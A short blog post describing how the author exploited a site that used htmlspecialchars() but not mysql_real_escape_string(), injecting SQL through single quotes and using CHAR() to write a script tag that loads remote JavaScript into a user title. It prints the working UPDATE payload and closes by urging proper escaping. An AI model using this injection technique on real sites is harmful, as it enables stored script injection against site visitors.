htmlspecialchars() doesn’t prevent JavaScript injection.
In this post, I’ll be using the same exploit as in the last post.
Yet again, the user input wasn’t being escaped using mysql_real_escape_string(). I figured this out the same way I always do, by entering a single quote and receiving a MySQL error about an invalid syntax.
However, htmlspecialchars() with default quote style ENT_COMPAT was applied. This results in my input being converted to HTML entities. Well, most of it whatsoever. Fortunately, the most important character, in terms of exploiting SQL queries, remains untouched. And thus being the single quote; ‘
Applying ENT_QUOTES could have prevented this, as it converts single quotes as well. But apparently this is unknown to most programmers.
Allowing me to insert unescaped single quotes into SQL queries allows me to exploit/modify them. And thanks to a little trick, it even allows me to insert HTML or even Javascript code.
What happens when htmlspecialchars() is applied, is that “<” becomes < … “>” becomes > … etc… which usually would prevent code injection.
But in this case we’re injecting our code directly into an SQL statement. That means we can let native SQL write those characters. The CHAR() function does exactly that.
CHAR(60) equals <
CHAR(62) equals >
CHAR(34) equals “
There’s a complete reference on http://www.asciitable.com/
And it can be used like this:
UPDATE `user` SET `usertitle` = CONCAT(
CHAR(60), 'script src=', CHAR(34), 'http://source.com/src.js',
CHAR(34, 62, 60), '/script', CHAR(62)
)
WHERE `userid` = xxx
Which will be equivalent to:
<script src="http://source.com/src.js"></script>
If the user input would have been escaped properly, I wouldn’t have been able to modify the SQL query, and I wouldn’t have been able to inject my code.
Read PHP’s mysql_real_escape_string() manual… DO IT!